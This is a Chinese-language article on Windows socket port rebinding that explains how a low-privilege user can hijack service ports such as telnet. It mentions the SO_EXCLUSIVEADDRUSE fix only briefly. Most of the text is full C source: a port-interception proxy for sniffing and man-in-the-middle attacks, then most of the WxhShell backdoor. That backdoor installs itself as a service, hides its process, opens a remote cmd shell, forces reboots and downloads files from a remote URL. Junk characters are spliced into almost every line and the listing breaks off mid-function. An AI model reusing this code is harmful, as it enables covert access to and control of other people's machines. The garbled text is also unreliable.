在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-yX.Jv s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
xa87xX=a 6QN1+MwB saddr.sin_family = AF_INET;
./ "mn3U hlAR[ ] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
8_xnWMOe gCv"9j<j bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
PHQ{-b?4t H|PrsGW 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
|7rR99 >Hdjsu5{N 这意味着什么?意味着可以进行如下的攻击:
!"g=&Uy& wl7 M fyU 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
g~~m'^ {iA^rv| 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
+VSZhg,Np8 sW;7m[o 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
B }6Kd &g*klt'B 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
OI~}e,[2z ^4+r*YvcM 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
uVN.= (FM4 ^#6 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
fucUwf\_ e &d3SQ% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
S*4f%! 3"5.eZSOW #include
<\h*Zy #include
R"NGJu9 #include
7nm}fT
z7 #include
j2M4H@ DWORD WINAPI ClientThread(LPVOID lpParam);
}.'Z=yy int main()
"cwR^DoD& {
(G#}* WORD wVersionRequested;
L*P_vCC DWORD ret;
zEy&4Kl{+ WSADATA wsaData;
!&W|myN^ BOOL val;
1:_=g #WH SOCKADDR_IN saddr;
moCK-: SOCKADDR_IN scaddr;
6{Ks`Af int err;
+i+tp8T+7 SOCKET s;
26M~<Ic SOCKET sc;
Te+^J8 int caddsize;
[KMS<4t' HANDLE mt;
JfkTw~'R DWORD tid;
G[#.mD{k wVersionRequested = MAKEWORD( 2, 2 );
qh$X^%g err = WSAStartup( wVersionRequested, &wsaData );
i!L;? `F{ if ( err != 0 ) {
Fqo&3+J4 printf("error!WSAStartup failed!\n");
JPLI
@zX^ return -1;
g&bwtEZ }
)U'yUUi saddr.sin_family = AF_INET;
i-,'.w [g +y_@9s //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
7gm:ZS $Buf#8)F* saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
;|6FdU saddr.sin_port = htons(23);
[yC"el6PM if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
vb
%T7 {
LP ,9<&"< printf("error!socket failed!\n");
M\dO({o return -1;
uWTN2jr }
9
Va40X1 val = TRUE;
Q3,=~}ZNK //SO_REUSEADDR选项就是可以实现端口重绑定的
]%Y\ZIS if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
*2=W5LaK. {
O^0" printf("error!setsockopt failed!\n");
kxh 5}eB return -1;
3%2jwR }
.uKx>YB} //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
s@s/'^` //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}%x}fu# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
"<x&pQZ% <5I1 DF[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
r4?b0&Xq {
6JH56 ret=GetLastError();
]\BUoQ7I/ printf("error!bind failed!\n");
sMm/4AY] return -1;
ib]vX- }
Q&PB]D{ listen(s,2);
?+Q$#pb while(1)
_88QgThb {
^dfx~C caddsize = sizeof(scaddr);
,1
P[ //接受连接请求
_f3
WRyN0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/EU; ?O if(sc!=INVALID_SOCKET)
?'wsIH]m {
% $TEDr! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%2D17*eK if(mt==NULL)
DbtF~`3, . {
E:w:4[neh printf("Thread Creat Failed!\n");
e\9g->DUs break;
6/6Rah! }
9cfR)*Q }
_]=9#Fg7{ CloseHandle(mt);
}lP 5GT2 }
+j[`,5oS closesocket(s);
]*;F. pZ WSACleanup();
7Ms90oE/c return 0;
6Y7H|>g) }
%hINpZMr DWORD WINAPI ClientThread(LPVOID lpParam)
TsHF
tj9S {
DMd ,8W7a SOCKET ss = (SOCKET)lpParam;
TJOvyz`t SOCKET sc;
jK3\K/ob( unsigned char buf[4096];
1,`H:%z% SOCKADDR_IN saddr;
Z^#]#f long num;
U-EhPAB@ DWORD val;
}+0z,s~0. DWORD ret;
U=cWmH //如果是隐藏端口应用的话,可以在此处加一些判断
%>y;zqZIU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Q\9K2=4 saddr.sin_family = AF_INET;
OOB^gf}$' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
O>V(cmqE` saddr.sin_port = htons(23);
=yqHC<8: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6Cc7ejt|u {
nbmc[!PwG printf("error!socket failed!\n");
u9]1X1wV return -1;
%idk@~H Cg }
D.*>;5:0' val = 100;
A#DR9Eq if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
z[9UQU~x? {
tln1eN((q ret = GetLastError();
o| D^`Z return -1;
`,Orf ZMb }
6I |A-h if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ssl&5AS {
/P+q}L% ret = GetLastError();
aB"xqh)a}T return -1;
6D/ '` }
C1QV[bJK if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
n?E}b$6 {
6G_<2bO printf("error!socket connect failed!\n");
YaL]>.;Z:" closesocket(sc);
- k`.j closesocket(ss);
iiNSDc return -1;
v0@)t&O }
U7H9/<&o while(1)
*YvRNHP {
'fY9a(Xt. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
q;A;H)?g //如果是嗅探内容的话,可以再此处进行内容分析和记录
Mqv[XHfB //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
SUE
~rb num = recv(ss,buf,4096,0);
p2d\ZgWD=) if(num>0)
9DE)S)e8 send(sc,buf,num,0);
YBjdp=als else if(num==0)
?+`xe{k break;
&mkpJF/ num = recv(sc,buf,4096,0);
(E!!pz if(num>0)
h-mTj3p-K send(ss,buf,num,0);
3&*'6D
Tg else if(num==0)
PW)aLycPK break;
$s gH'/> }
|y1;&< closesocket(ss);
K
,isjh2 closesocket(sc);
BSzkW}3q9 return 0 ;
CL3xg)x6 }
lhPGE_\ )2.)3w1_4 g>0vm2| ==========================================================
R$6qoqv{yG FFzH!=7T? 下边附上一个代码,,WXhSHELL
D"l+iVbBP Uems\I0 ==========================================================
r`M6!}oa &m'kI #include "stdafx.h"
2F+gF~znQ s"~5']8 #include <stdio.h>
WeJ@xL #include <string.h>
}nrXxfu #include <windows.h>
^DAu5 |--R #include <winsock2.h>
^vni&sJ #include <winsvc.h>
WxUxc75 #include <urlmon.h>
p 2O~>97t1 !@L=;1, #pragma comment (lib, "Ws2_32.lib")
raUs%Y3 #pragma comment (lib, "urlmon.lib")
iEHh{H( H3KTir"on #define MAX_USER 100 // 最大客户端连接数
$dg9z}D #define BUF_SOCK 200 // sock buffer
l*}FXL #define KEY_BUFF 255 // 输入 buffer
-j`LhS~| VLvS$0(}Z #define REBOOT 0 // 重启
`!4,jd #define SHUTDOWN 1 // 关机
vF={9G m
VxO$A, #define DEF_PORT 5000 // 监听端口
$P {K2"Oc !{UTD+|=N #define REG_LEN 16 // 注册表键长度
,T5u'"; #define SVC_LEN 80 // NT服务名长度
E3l*8F%<3 >hsuAU.UOR // 从dll定义API
3MBN:dbQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
N|Cs=-+ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<nHkg<O6Y typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
NC"yDWnO' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
v;2CU LBlN2)\@ // wxhshell配置信息
/bVZ::A&_ struct WSCFG {
k2^ a$k} int ws_port; // 监听端口
-K%5(Eg char ws_passstr[REG_LEN]; // 口令
c z'5iK int ws_autoins; // 安装标记, 1=yes 0=no
EtJ8^[u2J char ws_regname[REG_LEN]; // 注册表键名
3=.Y,ENM; char ws_svcname[REG_LEN]; // 服务名
<z)m%*lvU char ws_svcdisp[SVC_LEN]; // 服务显示名
5f7zk char ws_svcdesc[SVC_LEN]; // 服务描述信息
@w9{5D4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
xTV{^=\rS int ws_downexe; // 下载执行标记, 1=yes 0=no
'+y_\ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
X`r*ob char ws_filenam[SVC_LEN]; // 下载后保存的文件名
J%rP$O$ Zj9c9 };
Fd$!wBL 2.I^Xf2 // default Wxhshell configuration
lFG9=Wf struct WSCFG wscfg={DEF_PORT,
[ AzO:A "xuhuanlingzhe",
sfD5!Z9#1 1,
{3\R|tZh,` "Wxhshell",
D{7w!z "Wxhshell",
TpfZ>d2 "WxhShell Service",
k3Cz9Vt% "Wrsky Windows CmdShell Service",
-apXI. "Please Input Your Password: ",
h1D?=M\9 1,
cu9Qwm "
http://www.wrsky.com/wxhshell.exe",
/Ft:ffR|R "Wxhshell.exe"
!X^Ce)1K };
u dk.zk ixfdO\nU // 消息定义模块
!7p}C-RZp char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
epD?K char *msg_ws_prompt="\n\r? for help\n\r#>";
;/O#4]2* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
`FF8ie 8L char *msg_ws_ext="\n\rExit.";
o+ O}Te char *msg_ws_end="\n\rQuit.";
Yc Q=vt{ char *msg_ws_boot="\n\rReboot...";
s}5+3f$f char *msg_ws_poff="\n\rShutdown...";
0"WDH)7hJ char *msg_ws_down="\n\rSave to ";
\}*k)$r (nSml,gU char *msg_ws_err="\n\rErr!";
}(FPV*mS char *msg_ws_ok="\n\rOK!";
]1`g^Z@ 0 wD\ZOn_J char ExeFile[MAX_PATH];
0DPxW8Y -` int nUser = 0;
x34f9!
't HANDLE handles[MAX_USER];
yJx?M int OsIsNt;
s<QkDERMX q?j|K|%
SERVICE_STATUS serviceStatus;
.giz=*q+ SERVICE_STATUS_HANDLE hServiceStatusHandle;
p]G3)s@> *#U+qgA;` // 函数声明
|pZUlQbb int Install(void);
d=O3YNM:v int Uninstall(void);
.10y0FL4 int DownloadFile(char *sURL, SOCKET wsh);
L5fuM]G` int Boot(int flag);
PgM (l3x void HideProc(void);
n| !@1sd int GetOsVer(void);
R*pC.QiB~ int Wxhshell(SOCKET wsl);
G5.nPsuM void TalkWithClient(void *cs);
KP"%Rm`XN int CmdShell(SOCKET sock);
i{c@S:&@^ int StartFromService(void);
TX8<J>x int StartWxhshell(LPSTR lpCmdLine);
l{c]p- &K+0xnUH VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
csZc|kDI VOID WINAPI NTServiceHandler( DWORD fdwControl );
xJ8%<RR!t ShOX<Fb& // 数据结构和表定义
KDP H6 SERVICE_TABLE_ENTRY DispatchTable[] =
yCz|{=7"j {
~ Hy,7 {wscfg.ws_svcname, NTServiceMain},
VR{+f7:} {NULL, NULL}
Y]|:?G7l] };
9O*_L:4o {No L // 自我安装
Y5q3T`xE int Install(void)
E; $+f {
F/d7q%I char svExeFile[MAX_PATH];
{LzH&qu HKEY key;
t(!r8!c
u} strcpy(svExeFile,ExeFile);
nz.{P@[Qk &;TJ~r#K // 如果是win9x系统,修改注册表设为自启动
z&8un%Jt if(!OsIsNt) {
I751 t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
">81J5qgd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
=:,xxqy RegCloseKey(key);
=DbY? Q<Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
oB1>x^
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U5HKRO RegCloseKey(key);
R8ONcG return 0;
3uu~p!2 }
d&8 APe }
lq:}0 <k }
F|bYWYED; else {
LA3<=R] smY$-v)@ // 如果是NT以上系统,安装为系统服务
qm*}U3K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
eas:6Q) if (schSCManager!=0)
Pl=] Srw {
8e~|.wOL SC_HANDLE schService = CreateService
ppIbjt6r (
xda;
K~w schSCManager,
<Peebv&v wscfg.ws_svcname,
3VnQnd E wscfg.ws_svcdisp,
/2M.~3gQ SERVICE_ALL_ACCESS,
\<0B 1m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
`p kMN SERVICE_AUTO_START,
!}+tdT(y SERVICE_ERROR_NORMAL,
#3=P4FUz. svExeFile,
\'CN NULL,
J/!cGr(B~ NULL,
^I
mP`*X NULL,
V==z" NULL,
&5{xXWJK NULL
;{[>&4 );
F(#rQ_z] if (schService!=0)
u}bf-;R {
2g9G{~,@g CloseServiceHandle(schService);
Q^K "8 ; CloseServiceHandle(schSCManager);
L%}zVCg strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
P|2E2=G strcat(svExeFile,wscfg.ws_svcname);
2O"P2(1}v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~n')&u{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
raVA?|'g~ RegCloseKey(key);
e
pCLM_yA return 0;
w=h1pwY }
Z}A%=Z\/3 }
P #F=c34u CloseServiceHandle(schSCManager);
y %$O-q }
U'UQ|%5f }
(KZHX5T= o`zr> return 1;
R`";Z$~{ }
+`M!D }! 8l?piig# // 自我卸载
+QM@VQ int Uninstall(void)
p47S^gW {
iGDLZE+? HKEY key;
}ZSQ>8a MC((M,3L if(!OsIsNt) {
R8L_J6Kpa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!{n<K:x1 RegDeleteValue(key,wscfg.ws_regname);
XS0xLt= RegCloseKey(key);
2-zT$`[]J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
5 )2:stT73 RegDeleteValue(key,wscfg.ws_regname);
WD;Y~| RegCloseKey(key);
0U/K7sZ return 0;
_ 7PMmW@ }
{u!)y?}I- }
$I#q }
2>-S-;i else {
dw~p?[ 3Y)PU= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
~A<H9Bw
if (schSCManager!=0)
;n=. {[, {
<X TU8G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
;U:
{/ if (schService!=0)
Sp}D;7 {
'sp-%YlM - if(DeleteService(schService)!=0) {
T&T/C@z'R CloseServiceHandle(schService);
;TcvA CloseServiceHandle(schSCManager);
04J}UE]Ww return 0;
E$a ?LFa6 }
E@a3~a CloseServiceHandle(schService);
S1 _6C:^k }
}
B396X CloseServiceHandle(schSCManager);
mD:IO }
wOQ#N++C }
|8%m.fY` ;)Kh;;e return 1;
zPEg }
=S[yE]v^ E^_wI> // 从指定url下载文件
Ae^X35 int DownloadFile(char *sURL, SOCKET wsh)
/$n ~lf {
EzW)'Zzw~ HRESULT hr;
H?}[r)|(3i char seps[]= "/";
t3Z_Dp~\ char *token;
b1pQ`qt char *file;
>$gG/WD?KR char myURL[MAX_PATH];
J" j.'. char myFILE[MAX_PATH];
pqvOJ#?Q}= :ztr) strcpy(myURL,sURL);
9 7%0;a8 token=strtok(myURL,seps);
$&|y<Y= while(token!=NULL)
0s#vwK13 {
@=w<B4L file=token;
g#NZ ,~ token=strtok(NULL,seps);
*KK+X07 }
NT%W;)6m9 ;E~4)^ GetCurrentDirectory(MAX_PATH,myFILE);
?6Cz[5\ strcat(myFILE, "\\");
-71dN0hWh strcat(myFILE, file);
e73^#O&Xt send(wsh,myFILE,strlen(myFILE),0);
IM=bK U send(wsh,"...",3,0);
ZaFb*XRgS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_ 7oV< if(hr==S_OK)
y`e4;*1 return 0;
Jxf~&!zR else
aYL|@R5;e return 1;
QYXx:nIrg 6nDV1O5 }
,O1O8TwUB0 !DjvsG1x // 系统电源模块
@Un/c:n int Boot(int flag)
?:^mBb)T {
-7WW[
w HANDLE hToken;
mtic> TOKEN_PRIVILEGES tkp;
"wH) mQnd SEQ%'E5-' if(OsIsNt) {
#LcrI OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
[\)oo LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
K*K1(_x= tkp.PrivilegeCount = 1;
|sqZ $Mu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7RU}FE AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:/YO ni1h if(flag==REBOOT) {
,O=a*%0rt if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
ocwG7J\W return 0;
F9c`({6k }
M"=n>;*X else {
@
\.;b9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
L^kp8o^$ return 0;
VeiElU3 }
ydl jw }
O@8pC+#`Z else {
Ue5O9;y]u if(flag==REBOOT) {
ir>]r<Zl if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
VCNT4m return 0;
Tm+;0 }
<Pqv;WI|R else {
E
?2O( if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@b&84Gn2
r return 0;
VBoMT:# }
]7sx;KFv }
~%w~-O2 #~:P}<h return 1;
L/}iy} }
$*MCUnl @`u?bnx]e // win9x进程隐藏模块
TDK@)mP void HideProc(void)
jX=lAs~6 {
/z."l!u6 qcB){p+UQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
L6:h.1 U$ if ( hKernel != NULL )
noVa=aU^ {
1V&PtI3!! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
";3*?/uM ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
-Q
e~)7 FreeLibrary(hKernel);
O0l^*nZ46t }
^~ =9 s}x>J8hK return;
mxTk+j= }
%(m]) Rz <OF^Iy // 获取操作系统版本
;|ub!z9GG int GetOsVer(void)
To"dG&h {
pck >;V OSVERSIONINFO winfo;
-<f/\U winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
*DeTqO65 GetVersionEx(&winfo);
1IH[g*f if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Dk)}|GJ()" return 1;
'8`T|2 else
<zB*'m return 0;
.CV _\ }
iSp *$,+`+ // 客户端句柄模块
mMw;0/n int Wxhshell(SOCKET wsl)
V%
axeqs {
R"xp%:li SOCKET wsh;
9w^zY;Y struct sockaddr_in client;
W? ,$!]0 DWORD myID;
D5]{2z}k 6vz1*\:H~ while(nUser<MAX_USER)
P;91~``b- {
/)#8)"`nT int nSize=sizeof(client);
:X>DkRP wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
q(]f]Vl|0 if(wsh==INVALID_SOCKET) return 1;
-WR}m6yMr TQ9'76INb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
D[Iqn if(handles[nUser]==0)
pG yRX_; closesocket(wsh);
&sOM>^SAD else
E&2tBrAq nUser++;
2R@%Y/ }
!Tfij(91 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
S ~|.&0"\ R_e)mkE return 0;
C ?7X"~~ }
HhSjR%6HY; y4F^|kS) [ // 关闭 socket
{yq8<? void CloseIt(SOCKET wsh)
|-kEGLH[*V {
'U)8rR closesocket(wsh);
'DAltr< nUser--;
EF;,Gjh5p ExitThread(0);
tV`&-H }
|~$7X :R+],m il // 客户端请求句柄
M\UWWb&%\ void TalkWithClient(void *cs)
-9G]x{> {
nFXAF!,jj /yYlu SOCKET wsh=(SOCKET)cs;
u%opY<h char pwd[SVC_LEN];
OV|Z=EwJ char cmd[KEY_BUFF];
878tI3- char chr[1];
`Cj,HI_/* int i,j;
FmA-OqEpA q<XcOc5 while (nUser < MAX_USER) {
>eo8 C4_t_N if(wscfg.ws_passstr) {
faVS2TN4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
SJ(9rhB5*. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%HEmi; //ZeroMemory(pwd,KEY_BUFF);
,k%8yK i=0;
=eYO;l
y3 while(i<SVC_LEN) {
Gg+YfY_ \UQ],+H // 设置超时
7ukDS] fd_set FdRead;
0*{p Oe/u struct timeval TimeOut;
ZOHRUm FD_ZERO(&FdRead);
M,{<TpCx FD_SET(wsh,&FdRead);
ro]L}oE+ TimeOut.tv_sec=8;
YPQCOG TimeOut.tv_usec=0;
SA3Y:( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
N[{]iQ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Ja=N@&Z# ^z?=?%{ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
JOHp?3 "4 pwd
=chr[0]; *<3iEeO/R
if(chr[0]==0xd || chr[0]==0xa) { +}]wLM}\UF
pwd=0; "b;k.Fx
break; B#4S/d{/
} Px#4pmz
i++; 73#9NZR
} % NwoU%q
c$.T<r)Z
// 如果是非法用户,关闭 socket ?(M\:`G'
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~pwY6Q
} ?/L1tX)
zN/Gy}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y7
<(,uT
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LQ|<3]
,|>nF;.Y
while(1) { L/%xbm~
<m9JXO:5
ZeroMemory(cmd,KEY_BUFF); 'jwTGT5x
{.%0@{Y
// 自动支持客户端 telnet标准 c'[( d5^|
j=0; -hm9sNox
while(j<KEY_BUFF) { _4A&%>
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fjG /dhr
cmd[j]=chr[0]; J]_)gb'1BR
if(chr[0]==0xa || chr[0]==0xd) { 4>d[qr*<
cmd[j]=0; Xek E#?.
break; i@%L_[MtA
} 1W4H-/Re
j++; pzYG?9cwz
} ]lC4+{V
7jD@Gp`" 3
// 下载文件 ROcY'-
if(strstr(cmd,"http://")) { 8cequAD
send(wsh,msg_ws_down,strlen(msg_ws_down),0); rUhWZta
if(DownloadFile(cmd,wsh)) r{c5dQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :1%VZvWk*
else 7Co3P@@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N>h]mX6
} !G@V<'F
else { _y.mpX&
G;Pt|F?c
switch(cmd[0]) { hlt9x.e.A
4h[2C6
\+`
// 帮助 (gv=P>:
case '?': { DWHOSXA4
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h:eN>yW
break; zV9
=
} pvK \fSr
// 安装 V/+H_=|
case 'i': { GA}hp%
if(Install()) aA!@;rR<yU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1ZGQhjcx
else ajg7xF{l)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &^"s=g.
break; B`t)rBy
} 'lSnyW{
// 卸载 AqTR.}H
case 'r': { i|::vl
if(Uninstall())
}j]<&I}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Nxo0Q
else `"-`D!U?$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mCZF5r
break; IX > j8z[
} +Px<DX+
// 显示 wxhshell 所在路径 4C2>0O<^s
case 'p': { 23.y3t_?
char svExeFile[MAX_PATH]; g%KGF)+H
strcpy(svExeFile,"\n\r"); S.?\>iH[
strcat(svExeFile,ExeFile); @p?b"?QaB
send(wsh,svExeFile,strlen(svExeFile),0); 98<bF{#0WM
break; rZwf%}
} MC[`<W)u
// 重启 '2i)#~YO<
case 'b': { c+YYM
:S
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o>QFdx
if(Boot(REBOOT)) bRY4yT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;8
/+wBnm
else { 8z3I~yL_`+
closesocket(wsh); 7J</7\
ExitThread(0); _tWfb}6;Zb
} &,6y(-
break; \I`=JKYT
} @pEO@bbg>
// 关机 SFXfo1dqH
case 'd': { ;^*+:e
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zN8&M<mTl
if(Boot(SHUTDOWN)) H8Z Z@@ qm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v;NZ"1=_
else { GXAk*vS=G
closesocket(wsh); R)DNFc:
ExitThread(0); )b:~kuHi
} SBYMDKZ
break; ~*Sbn~U
} v1tN
DyM6
// 获取shell W>
-E.#!_
case 's': { 7T(OV<q;#
CmdShell(wsh); ky
lr f4=
closesocket(wsh); @{$Cv"6769
ExitThread(0); :6Pc m3
break; 1RUbY>K#U
} E?c{02fu
// 退出 Kr}M>hF+|
case 'x': { :\w[xqH
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fG[3%e
CloseIt(wsh); TF iM[
break; {dr&46$p
} &4Iqm(
// 离开 h/+I-],RF
case 'q': { +h vIJv ?
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -aeo7C
closesocket(wsh); K1wN9D{t'
WSACleanup(); SYW=L
exit(1); 1b]PCNz
break; bCx1g/
} Hpo?|;3D5
} :,z3:PL
} oTV8rG
p31rhe
// 提示信息 U"Ob@$ROFy
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [#*?uu+
jK
} i11GW
} _Ag/gu2-?
cZX&itVc:
return; s2v#evI`+
} Kac j
j{w,<Wt>
// shell模块句柄 +(P43XO08
int CmdShell(SOCKET sock) C.e|VzQa
{ byj mH
STARTUPINFO si; po$ynp756
ZeroMemory(&si,sizeof(si)); SoGLsO+R
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _x|8U'|Ce
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EKS<s82hF&
PROCESS_INFORMATION ProcessInfo; .yh2ttf<gB
char cmdline[]="cmd"; 96E7hp !:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 88=FPEU
return 0; cyP*QW[
} a.U:B
[v`
Ac(irPrD
// 自身启动模式 |3lAye,t)a
int StartFromService(void) HNUR6H&Fta
{ k@)m- K
typedef struct V5@[7ncVf
{ >W]"a3E
DWORD ExitStatus; vc{]c
}
DWORD PebBaseAddress; wQuaB6E
